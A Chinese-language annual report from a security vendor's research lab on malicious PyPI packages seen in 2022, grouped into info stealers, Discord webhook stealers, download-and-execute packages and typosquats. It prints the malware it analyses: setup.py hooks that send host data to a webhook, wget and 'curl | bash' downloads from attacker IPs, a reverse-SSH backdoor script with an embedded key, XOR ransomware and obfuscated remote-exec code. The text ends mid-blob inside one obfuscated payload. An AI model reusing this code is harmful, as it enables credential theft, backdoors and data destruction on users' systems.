【天问】2022年PyPI恶意包年度回顾

Python是流行的编程语言,其因丰富的库和活跃的社区而备受欢迎。开发者需要某一个功能时,通常会通过PyPI等包仓库查找所需的第三方包,通过pip等方式直接下载、安装和使用。然而,我们安装的这些包,真的安全吗?奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台对Python、npm等主流的开发生态进行了长期、持续地监测,发现了大量的恶意包和攻击行为。

整个2022年度,天问Python供应链威胁监测模块共监测到22,076个恶意包,涉及到8,852个包的不同版本。我们针对这些恶意包的攻击行为进行了分析,总体可归纳为四类:信息窃取类,Discord webhook类,恶意脚本下载执行类和typosquatting类。对于分析确认的恶意包,我们及时向PyPI官方进行了反馈,尽可能减少这些恶意包的影响。

1、信息窃取类

此类包的攻击触发方式主要分为两种:通过import恶意包模块和通过install恶意包。在第一种方式中,攻击者将恶意代码放置在module的__init__.py文件内,用户import module时会触发此类恶意代码(此类恶意包可见【天问】5月PyPI恶意包汇总(20220501-20220531))。第二种攻击方式,攻击者直接将信息窃取的代码写在PyPI包的安装执行文件setup.py内,并替换pip自带的install指令,当用户使用pip install安装时便会触发攻击,将敏感信息外传,其中信息包括计算机名、IP地址、计算机内核信息等。例如,cmdb-managervalyrian-debugantchain-sdk-realpersonelasticsearch_connectorstessssssssss 、tabulateboto3等这些包均属于此类攻击。

setup.py的自定义安装函数示例:

class CustomInstall(install):

	def run(self):

		install.run(self)

		if(sys.platform=='darwin'): 

			conf=os.popen('uname -a').read()
			pwd=os.getcwd()
			ip=os.popen('ifconfig').read()			
			public_ip=os.popen('curl ifconfig.me').read()			
		elif(sys.platform=='linux'):
			conf=os.popen('uname -a').read()
			pwd=os.getcwd()
			ip=os.popen('ifconfig').read()
			public_ip=os.popen('curl ifconfig.me').read()

		elif(sys.platform=='win32'):
			conf=os.popen('systeminfo').read()
			pwd=os.getcwd()
			ip=os.popen('ipconfig').read()
			public_ip=os.popen('tasklist').read()
            	
		else:
                        conf=os.popen('uname -a').read()
                        pwd=os.getcwd()
                        ip=os.popen('ifconfig').read()
                        public_ip=os.popen('curl ifconfig.me').read()
	

		file="python-drgn-1-1-99\n"   
		print("-----------------hello-----------------------")
		who=(os.popen('whoami').read())

		hostn=(os.popen('hostname').read())

		os.system('curl -X POST -H \'Content-type: application/json\' --data \'{\"text\": \"FILE_NAME: %s HOSTNAME: %s WHOAMI: %s PUBLIC_IP: %s PWD: %s OS_INFO: %s IP: %s\"}\' https://hooks.slack.com/services/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' %(file,hostn,who,public_ip,pwd,conf,ip)) 

在对比了所有信息窃取类的代码后我们发现其中一些包的内容十分相似,例如tessssssssss和tabulateboto3 的代码具有高度相似性,如下图所示。我们进一步分析了其包作者和行为,我们发现两个包作者虽然不相同,但是其都是在上传前临时注册账号,于北京时间早上2时许上传包,并在其上线约1个小时后手动删除,种种相似的迹象让我们怀疑两个包的作者可能为同一人。

tessssssssss包setup.py
tabulateboto3包setup.py

2、Discord webhook类

自2019年疫情以来,Discord成为了目前北美最流行的视频语音软件。攻击者也正是瞄准了这一点,开始频繁通过各类手段试图窃取用户Discord账户、银行卡等信息,并通过Discord内置的机器人webhook进行信息回传。easyasciifpsboostmianlmaobahahamaintest2等为这类攻击的典型恶意包。

这些恶意包的攻击逻辑也与我们之前遇到过的Discord攻击大同小异,主要利用Python包作为恶意代码的载体,向下载这些包的用户机器中植入恶意代码,窃取用户的隐私信息。这些恶意包利用Discord的频道文件共享功能从攻击者的私有频道下载恶意文件执行,窃取用户敏感信息,最终通过Discord频道的webhooks方式进行信息回传。这些攻击手段可以绕过部分安全防护措施,需要警惕。之前关于Discord攻击的分析报告见:【天问】DissCord:以Python软件供应链为入口的Discord窃密攻击分析

3、恶意脚本下载执行类

这类恶意包的攻击手法与信息窃取类非常相似,但这些恶意包会从攻击者的服务器下载恶意文件进行执行。下面是我们对监控到的几个典型恶意包的分析,从中我们可以发现攻击者的攻击手段越来越多样化,而且恶意代码中使用了编码、加密、混淆等多种对抗分析的手段。

3.1、secretslib

攻击者将经过base64编码的恶意代码写在setup.py内,当用户安装该包时便会触发,代码如下。

class CustomInstall(install):
    def run(self):
        import os
        os.system(b64decode(b"c3VkbyBhcHQgLXkgaW5zdGFsbCB3Z2V0IGNwdWxpbWl0ID4gL2Rldi9udWxsIDI+JjEgJiYgd2dldCAtcSBodHRwOi8vNS4xNjEuNTcuMjUwL3RveCAmJiBjaG1vZCAreCAuL3RveCAmJiB0aW1lb3V0IC1rIDVzIDFoIHN1ZG8gLi90b3g=").decode())
        os.system(b64decode(b"cm0gLi90b3g=").decode())
        install.run(self)

解码之后我们得到如下信息,攻击者联网下载了名为tox的可疑程序并执行,在执行完成后删除。

sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57.250/tox && chmod +x ./tox && timeout -k 5s 1h sudo ./tox
rm ./tox 

3.2、mypackage1337

攻击者通过setup.py下载恶意shell脚本并执行,下载代码如下。

os.system('curl http://108.61.251.172:8080/revssh/108.61.251.172/2222 | /bin/bash')

下载下来的是一个反弹shell,即用户只要安装恶意包,便会被攻击者植入反弹shell。

#!/bin/sh

IP="108.61.251.172"
PORT="2222"

echo "[+] User \"$(whoami)\""

tmp="$(mktemp)"

echo "[+] Storing private key in $tmp"
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
-----END OPENSSH PRIVATE KEY-----

EOF

bind="$(seq 10000 10099 | shuf | head -n1)"

echo "[+] Connecting to $IP:$PORT"
echo "[+] Binding to port $bind"

mkdir -p ~/.ssh/
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwdrHjeSF7zI41jRHSQvSpLgcpH70Yajhx42Fp4KDkgIhgR8rtt3jWGRQwElwiQxZHfKP3dRRicODTUQW8E7YtWF7But+VyrLToi1reN9k1ml9sQLTYARABZJ9zbRW0D8g0REK+Ms+RakbFcCUvUAaHx2wD/+KLqXIt0RIRCoqq53suq875B9Ey5CBTvu8IOFKjoaGXp5LlYXf+9ugfLYensHlub9PYtpaKfVGqT3biS+AogEiDiohoI1XwuQwh0eSvayeKRIwHCEVAMg6blarBqKptqfUgV1XqtKIJTH8kg0JKujIWz5KtDTTjkDuUYxZGVoJWc/+P981FJnAehnPr9wkgTSmCZf1tN1wNuHW0XLkfUi/iAdGg+CzLJz0XYtxF397SHlz9StGSfVLNhHfAL0EDm+DIV49TtKTVs6LrzgkvVEvLDBzyImAJabYOgYYYfHCWUWT+lmSoXIYZyH68d7XYLx2QYnJVpPWtRpYmgU+t+O/Ya3L/ic9VtIf4JU= root@6a6e9e2ade83
' >> ~/.ssh/authorized_keys

ssh \
    -N \
    -i "$tmp" \
    -p "$PORT" \
    -o 'StrictHostKeyChecking=no' \
    -o 'UserKnownHostsFile=/dev/null' \
    -R "$bind":localhost:22 \
    jc@"$IP"

echo "[+] SSH connection closed, cleaning up..."

rm -f "$tmp"

3.3、warning-pypi-ransomeware

攻击者在setup.py中明确声明这个恶意包是一个攻击测试,用于提醒用户不要随意安装未知包。安装此包会导致用户计算机内所有文件被加密,攻击者同时给出了解密脚本,用户运行后即可解密。

def crypt_file(file_path):
    with open(file_path, "rb") as f:
        data = f.read()
    encrypted_data = bytearray()
    for i, byte in enumerate(data):
        encrypted_data.append(byte ^ KEY[i % len(KEY)])
    serialized_data = base64.b64encode(encrypted_data)
    with open(file_path, "wb") as f:
        f.write(serialized_data)
    
def crypt_system():
    system = os.walk(SYSROOT, topdown=True)
    for root, dirs, files in system:
        for file in files:
            file_path = os.path.join(root, file)
            if file.split('.')[-1].lower() in FILE_EXTS:
                try:
                    crypt_file(file_path)
                except:
                    continue

def decrypt_file(file_path, key):
    with open(file_path, "rb") as f:
        data = f.read()
    deserialized_data = base64.b64decode(data)
    unencrypted_data = bytearray()
    for i, byte in enumerate(deserialized_data):
        unencrypted_data.append(byte ^ key[i % len(key)])
    with open(file_path, "wb") as f:
        f.write(unencrypted_data)


def decrypt_system(key):
        system = os.walk(sysRoot, topdown=True)
        for root, dirs, files in system:
            for file in files:
                file_path = os.path.join(root, file)
                if file.split('.')[-1].lower() in file_exts:
                    try:
                        decrypt_file(file_path, key)
                    except:
                        continue

def main():
    with open("KEY", "rb") as key_file:
        key = key_file.read()
    for i in range(2):
        decrypt_system(key)   

3.4、sageshutdown

class CustomInstallCommand(install):
    def run(self):
        import os
        os.system("shutdown /s /t 1")
        install.run(self)

该包攻击模式较为简单,仅是在安装时将用户关机,然而深入挖掘后我们发现,该包作者名为mianism,与上述Discord Webhook类型内恶意包mianooo, mianlmao等包作者为同一人,结合其以往的攻击模式,我们怀疑这是在为其后续上传恶意包/恶意版本做测试,由于我们在发现sageshutdown首次上传12个小时内通知官方将其删除,其后续的攻击手段可能得到了很好的抑制。

3.5、disocrd

exec(compile(getattr(__import__('base64'),'b64decode')('ZnJvbSB1cmxsaWIgaW1wb3J0IHJlcXVlc3Q7ZXhlYyhyZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly9sYWN0dWFwaS5kZG5zLm5ldDo1MDAyLzUyMjY0ODk3ci5weScpLnJlYWQoKSk='),'<string>','exec'))

这个包是我们分析天问供应链最近的日常监测数据发现的,其在天穹沙箱分析中执行了上述代码,产生了网络行为告警。上述代码使用了base64编码,解码之后结果如下

from urllib import request;exec(request.urlopen('http[:]//lactuapi.ddns.net:5002/52264897r.py').read())

可以看到从远端服务器上拉取了一个python文件进行执行,我们拉取了这个文件并进行了分析,目前该网址已失效。

m = r"""from builtins import *;MNMMMNNNNNMNMNMNNMMMMMNNN,JIIJIIILJLLLIILJJIIJIJ,XXWXWWWWWXWWXXWXW,SS2S2SSSS2S22SSSSSS2S2SS,Ooo0o0000O0O0OO0O0O0oO0=(lambda WXWXWXXXXXWXWXXWXXWW:WXWXWXXXXXWXWXXWXXWW['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda WXWXWXXXXXWXWXXWXXWW:WXWXWXXXXXWXWXXWXXWW(__import__('\x7a\x6c\x69\x62'))),(lambda WXWXWXXXXXWXWXXWXXWW:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(WXWXWXXXXXWXWXXWXXWW)"),filename='\x6f\x4f\x44\x44\x6f\x4f\x6f\x44\x44\x6f\x4f\x44\x6f\x44\x44\x4f\x44\x44',mode='\x65\x76\x61\x6c'))),(lambda NMMNMMNNMMMNNMNNN,WXWXWXXXXXWXWXXWXXWW:NMMNMMNNMMMNNMNNN(WXWXWXXXXXWXWXXWXXWW)),(lambda:(lambda WXWXWXXXXXWXWXXWXXWW:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(WXWXWXXXXXWXWXXWXXWW)"),filename='\x6f\x4f\x44\x44\x6f\x4f\x6f\x44\x44\x6f\x4f\x44\x6f\x44\x44\x4f\x44\x44',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63'));Ooo0o0000O0O0OO0O0O0oO0()(SS2S2SSSS2S22SSSSSS2S2SS(MNMMMNNNNNMNMNMNNMMMMMNNN(JIIJIIILJLLLIILJJIIJIJ(XXWXWWWWWXWWXXWXW('\x76\x61\x72\x73'))),b'x\x9c\xed\x1bko\xe2H\xf2\xfb\xfc\x8a\xd3~1(;\xa3v?\xedH\xf3\r\x9d\x94Q2|\x98\x95rR\x14!\xc0f\x8f\x93\xc1\xab\x84\xecp\xff\xfe\xaa\xaa\xbbqc0\xd8\xc02s\x97\xa3S\xfd\xa8~\xb8\xbb\xba\xbb^v\x8ar:.^{\xfd\xa7\xe8\xae\x80\xdf\x1d\xfc\n\x0bE\x11=\x7f\xfe\xbd(\'P\xffa\xb7\x12\xbb,\x17\xcb\xc5b\xb1\x84\x04\x7f\x0bL\x17\xd1\xd3\xed\xed\xcd\xc7\x9b\x8f\xbd\x8f\xbd\x9b\xb8\xdf\x7f~\xfe\x9c\xcd_\x1a\xfa?>\xfe\x03\x03\xfcl\x04e\xc8\xed\x8e\xf0{\xbe\x1a\xafVM\xa3\xac\xd7\xeb\xef\xfe\x07\xb9\xb5\x03\x98}A\x8b\xfb\xd0\xd0\x00\xfb\x16v\x9cpH\x00\xe8:\x1a\xcd\x17\x7f\x94/\xab\xd1\xa8\xe1\xa9\xf7w\xf7\xf7_\xbe\xdc\xc1\x1f\xa6\xf7w\x90\xa3\xf8\x0e\x9f\xbbw\xd4^4y\x9b\x17\xab\xf9\xf25\xea\x7f\xfas\xfc\xf2\xfa\xa1q\x0cZ\xd6w\x0c8\xd5\xf5\xdaNy\rC#\xa5\x88N\x9ef\x18\x1e{MO|]\xceW\xc5\xfcmR\xa7i\xff\xd7\x85\xdb0\xda8\xda\xc6\xc5\xb2\xfb0\xfd\xa7\x0b\x8d\xf3i\xbe\xcc\xf2u/*\xcar\xb7\xf6\xb9\xdf\xb0\t\x05\xa2\xdd\xf8\x85mR\xd0\xb3\xde\x01\xa5\xf2\xd7b\xfc\xf7\xf6\xa4\xfa\xf6\x8ds\x07\x10\xbb|w2\xcd\xe7\xd3\xd7\xf1r~.\x99\x1a\x87\xe9H\xa6\xe6q<\x99\xfe=\x9b\x17\xeb\xfc\x9f\xcb\xb7\xf6\xa4rL\t\xb9\x93\x85\xc7\xf7p\x9c\x8a\xf9\x1f\x8br\xda\x9eJ\x0f_\xf1\xf7\xf0`\xff \xfaJ\x98\x87w@\xabb\xfcg\xbe\x8fP\x07\xf9\xf9\x90~%+\xd9\x10a\xc8\x18\xc3\xc2; \xd7j\\\x16\xb3\xf6\x07\xab\x1c \x9d\x86\x83a9\x80P\x0e\x87\x83w@\xa3\x97\xd5k\xe7\x13\x05\xb4\x19 \x95\x80H\x98\x0e\xcbw@\xa7\xfc\xed\xe5\xb7}\x84:\xa0\xe3\x81\xc0\xfb\xe6\x81[\xd1g\x8b@\xae(\xfa\xf4\xafr\xbe\xdc\x7f\x12\xf7\x8a\xcc\xde$\x92S\x08c\x80\x94\xe2)\xe50\x8f\xe0\xf1\x1e\xb04\x05\x85/\xcb\xa7e\x96\xf7\xa2d\xb6\xda#\x8a\xfe\xe7\xf7m\x9a\xaf\xbb\xb3\xcc\x12\x18$1\xcd\x12X&\xe61P\x14\x0e\xd5$\x88zQ?\x86\x06\xacU\xdb\xa6\xbd\x16\xa9\x9a\t\x05\xc0\x01\x12\x07\x12\x80\x01\xc4\x0e\x18\x9f\xf0\x84gG\xdbb\x9a\xf2\xf4\xd8i\xe8\xdb\x08\x0c\x9f\xce\xd3\xe5\x86\x9b\xa3\xc3\x1f$z\xd3\xc8:\xa3\x90S\xc8\\\\\x95!w\xfc\x90\x9f\xb0\x1c\xf3W.\xc8/!\xdb,*\\\xe0V\xcd\xf1\xc5\x15\xe3\xc5$\x1b\xff\xcd\xc9.\x14]\x98\x80\xf4*\x87\xb7\x8d\xdc\xe9\xb4\x99O5p\x15\x1bW\xa9\xcd\xd9\x80yy\xf4\x9c\x9d\xb4!\xcaH%\xb9L\xe4\x0c\xc2\x843\x91q\xc6\xb9N\x8c\x84\xc0\xc4\x98\xcf\xf8L\'z\x06abR\x9ek\t!7\x82#!\xa13\x9f\x19\xa1\x15\xe4!\'c\xa3\xb4Q\x1c\xa6\x1c\xc3\x94\'P\xcb\xd5T\xe7\x7f\xd9\x96\x07\xa7uk\xfb\xb3\x9d#\x00\x98\xd6[\xee\r\x05\xcb\xc3\x89\x8f?\x92\xf5p\xe1}7\xd5/\t\x82\xd9\x8e[O\xdb\xb1u\x17St{`Z\xa7Q\x1c\x0f\xe5\x98\xe2\x14\xd21\x1d\xcf\x940\xfe\xb8z,\xe5ZO~\xed\t\xbaq\x93|\xb7\xb4\xbd\xdd\'\xca\x8fh\xe6(e\xac^\x0eR\x86\xe1\x05\x86\xdfyb#\xe6\x19\x89\x04\xd6\x8e\xddW\xec\x03u9\xd4yA\x0b.\xad\x12|\xe2)\x8a\xee\xa1\xe2\xde\xd6\xdd\xbbj,\xb5\x14\x9d\x0c\x1a\xc4W\xa5\xc1\x16\x1d\xc8\xb1c\xb7\x8fR\x08\'\xec\xac\xf7\r\xb9\x11\xa8/\xf9\x88~\xcc\xe6\xe2\\an0O\x9c0d\xbf\xe0\xc6\x9c\xba\xbf\x03k\x1e\r\xdcY\xa1\xc3\x02\xb6\xd2Y+\xd3Nc1N\x8b\x11.\x8f\xf8\xd4\x95S\xa7\xed\xb4i\x9bt\xa4\x10^fZ?Q\x00\xa2\x8bs$b\x94!\xf8\\\xf8k\xc1DO\x10\x9d\xdbBRH\xa1x.b\xa1\x80J\xb90\xc2@\xcc\x05\x13Z\x8c\x01\xc7 p\x10\xa5\x02\x04\xa9\xd4\xd0\xd20\x10\xa7g\n\xc6\xc8\xf3\xca\xb5?d\xdf\xcf\xd7\x8e\x8d;\x07"\xd0x\x8d\x83\xbav|\xa8m\x07\xedxs^\xfc\xddv\xcc\xc2\xde\xef\xe2\x04V\xd1h\xeb\xa5\x1b\xfb.uV\xde\xd4\xd9y\x95\x05HV`k\xd1\xe5\xd8:0\xfa\xe1\x80.\xf0\xa0<x\xca\x9bM\xdb\xc6Ig2\xdf\x84\x8cJU\x9c\xb9\xda\xaa\xcdqM\xa7\xd7}\x0e*Q\xc6AB\xa9qq\x95\x1e=\xcc\xcf\xbd_h\xc7\xe3\x1b@A\xc5\xcd\xed\xedS\xf4\xb6\x9a%Q/\xcf\xcai\x9e}\xeaG\xa0Tjffz\xcaQ\xadL@\xa1d\\\x82\xd10\x03l\x06J\x06\xe3\xc2\xe4\x90J\x83\x8a\x872\x1c0\x19\xdc)\xb8\x8e:\x9a\xf4\xdc\xec!\xe6\xd5Jz\xcf^"\x1dzrJ\xca/\x9cl\x1e\x8b\xc6\x91\xec\x05\xfaj\xaf\x93\xfd#L8.l\xb9\x15\x05\xb8\xe1\xb8\xef_\xeeHt\xdfGO\xfd^E\xec`\x07\xd6\xeb_\xcef\xf3*\xb8~\xfe:2\xc7\xcaupm\x8f\xb5U\xed\xaf\xed\xaf\xb3y\x91/\xc7\x8b\xfcsDS|xpd\x81\xe8|\xb9\xa5\x9c\xdcI\xdc$\xb9\xe3?\x9e\xef\xe8\xda\x82\x0e\xb5U-\x17\xb4\x80\xfa\xcf;\xfe\xe0\xee\xf3gN\xa3\x88\xdb\xaaJ\xa71\xb3\x8b\xf3\x85N~\xb3k\xb1\x84\x94\xa3\xf5\xc9\x04\xc4\xd2\x05\xb4G%a<\xde\xc3&\x97l\x18H3[8\xf6dr\xf6\x05\xce?[\xf2\xf9\xd49\x0b=\x1e\xf3M\xcf:\xf3\xe6w\xd1\xdf\xa3>\x1f\xa9\x91\x19\xc9Q\x02\xc1\x8c\xd8\x88\x8fR\xe8 v\xb1W\xb7\x07\xb6\xb9F\xe3\xb9\xce\x83\xf3\xeb\xcfp\x08\xd5\xb9\xce\xda\x9ck{\xad\x1bmZ\x05\xa2#\xd6G\x05\xfe1]\xacI4\\\x95\x93<\xf7Na$\x97\xb9\xc9\x8d*\xba\xf7k\xd4\x7f\xc9\xc6\xf7\x11\xa4\xb0\xdaTM\x14\xa8\xcc\xa0=\xf3\xed\xd4\xe6\xb7\xf1<\xd1\x9c\x1b!\xb5p\x10\xdbT\xa4U\xde\x03\xe2<~S_k\xbfS\xef\xeb\x047\xdc:\xc0\xd4F\x8bO\xe0\xc9\x89\xd6`\x05(n\xd4\x044\xfd1H\xa5\x8c !\x98\xe0\xce\xc1\x8a2\x82\xa4\xf3\xba\xe0Q`K\x00/\xd3\x90\xd3\x92,\n\x03\x8d,NX\x80\xf9i\xea\xcfl\x1e\xda\x19\xcck\xdb\x17\xa8\xe3\xfaA\x1f\xea\x1b\xd3\x186/\xb0\xfe\xdc\xb5\x1d?\x9d\xc7\xaf}\xe0\x86\x0e\xddwU\xd8\xb8\xaa\xafv\xe1\x7f\x06]\xfd\xa7\x94\xc99\xa9\xdc)\x1c\x0fR\xd8wT\xf4Yk\xb5\xfc\xaa\xaay\n\x92/&9h \xc6\x92\x82\xea]\xac\xecG\xe7\xab\xfa\xde\x88\xf5~\xaa\xe2\xae\xa5\xac\x8fABs\x98Q\n\xc0Ab\xab\x11\x87\x0e|\x17{\xa6\xfcv\x8a\xb3p\x10*\xcc\xfeUX\xec\x94\xec6m;\xe8\x01-\x98\x01\xeapr\xa3\xd1a\x0e\x7f\x81\x0e(\xe5\xd5\xd8\xc0\x81/fN\x15\xf8\xdd4:\t{\x8e;\xaePk\x838\x81\xe6\xaa\x8e\xfb!\xda\xdcO\xca\x9fRX\x8b\x021\x86\x0e7Ls\x8e\x18\x10\xe8P\xe2\x06KP\xde\xa3\x8e$5o"\x00\xf068\xe6pZ\xf0\xed\x16W\xf9v\x19\xea7.\x0b\x8d\xaf\xd3\xea\xf5\x13\x0e\xd6\x81F\xf0\xc1:\x9e|\xce\xa6\x18g\xc2\xcf\xf8\x12\x1cS\x88\x99\x02\xdbHa\xca\x01\xd2\xa0\xac\x01$\x01\x89q.[\xb5=\x8b\xf3\xc6`q\xe8\x91\x80X\x00\x1f\x03+\x04*\xeb8s\t\xae{\x9e\x99u\x81/\x0c\xe2\xc0\xa9\xe2\xbf \xd0\x01\x0e\xcb&`\xab\xc7\xda\xeaS\xd8j\x84\xf3\xb4\xb4\xb3\x13\xf7\xf3n\xcb\x9dP\xc2\xa0\xa4a$\x1b5\x944\xd9\x90;\xd8\xeb\xbd\x7f\x12\x8e8^\xde\xe8\xe0e\x059\xa2\x1dQ\x8f\xb5\x13\x1d\xed\xd5kX\x8f?X\x9d\x8c\xdc;nz\xcfm\xbfV\xba\xde\xbevv\x96\xa1\xd4i$\xd8\xd4\xf9e\xc6\x9b\x0f\xb8\xaa\xb2\xff\xb0+\xcc\xa7\xff78\xb7\xd6\x85\xc6\xa25\x1aS\xb0,cgD22\x16\xb5\x86f"\x81\xb9I\x00\xb5\x07dP\xb7//k}\xf7\x8d#\xe9\x190-\x02\x9c\x1d\xc2\xa1r\x88?\xd4\x1e\xc7\xb5\x862\x9a\xbd\xda\x81\xa9\xf5\x95\xc2\xff4\x18\xca\x82\x0ce\xe1FS\xae\xbdp}U\xd0\xdf\xe3}{C\xcf\xaa\xdai\xa2\xa1\xd8zv\x1a\xf4\xd7\x14\xaav\xca\xf5\xf7c\x9b#\xcf\xf7\xfd\x10\x1f\xbb\xb2\x0c\xda\xf1\xcd\x18\x16o\\\xea\xe7+]?l\xc3\x82T:\xd0A}X\x0e\xe9\xb3\xbd\x8e\xddy\xa4\xb5y\x9a\xad\xe7\xd7\xdb\tG\xc7\xedq\xab\xf5W\xcf\xf1\xf8p=!\xad\xeb\xcf\x95\xb5\xf1\x8c\xd8\xdd?\x15<\xbf\xbe~\x1e\xe0\xf9\x86N\xdb\xf4\x0e\xf7[\xd5\xc6eb\xdf\xbeW\xf3\xe0b\x97~\xa7\xce/<7\xaca\x1eim\x9cdk^\xda\xed\xad\xde\x1a\'\xecW\xdd!N\xdc#\x15\\\xdbs\xa6\xdd\xf3\xc8\x81\xe5\xcax\x0f\xed\x1dL\x9c\x83K\x92C\nq\xa03\x13\xdfA\xe0\x90\xe7\xc8\x0f|\x8a\xfd6)\xa7\xf5\xd2\xb3\x00\x14\xe1S\xf7lAN\xb0\nT\x00\xb2\x96\xdfW/\x1d\xaf\xb3\xeb0\x1489\xd7L\xb0\x86\xddu\xa5\x82!\xcf$\xc7\x9a\xab\xa7<\xa3~\xb8&\xcbKcO\xb5k:\xde\xa2\xcd\xb7l\xf4Mr\xfd\x9f\xf3\x0eHy|w\xc0@\xe3\x8b\xc9O\x92B\x1e-P\xb9\x8bm\xab5@k|\x13\xc1\xc8\xe3\x92\x80\xfe\x8fo(\xe2]\xec\xf5\xb4\x10\xff\x19C\x1ch\x8a\xfe\xf3\x86\xd4\xe1\x85\xd30\xdb\xb4\xe5\xdd\xb4\xccS^?\xe2\xbe0\x08\n)\x054KA#W\xb4/;\xd8\xeb}`}\x826\xe7^\x81v\xfbh\xff\xe2\x8a\xf1\xc1\x97;\'\xeb\xc71\xed\x00wvn\x82\xf7\x84|y;\xd8\xf3\xa8\xce\xdd\xc9\x93\x81\xbd\xa3\x82\x17\xe22\xf0\xe5\xb5i\xdb\xe5\x1b\xbfV\xee\x18\xef\xda\xf8\xe9^\xcb\x9e\xe8\xa5=\xb8\x13\xccQ1\t\xf2\xde\xa4\xe7\x81\xa5\xda\xa6mKk5\xe0\xf2\xf4\xbd+\x1b\xd2\xff\xa51\x88\x19\x15\xf1?\xaf.\xce\x05\xa2>r\x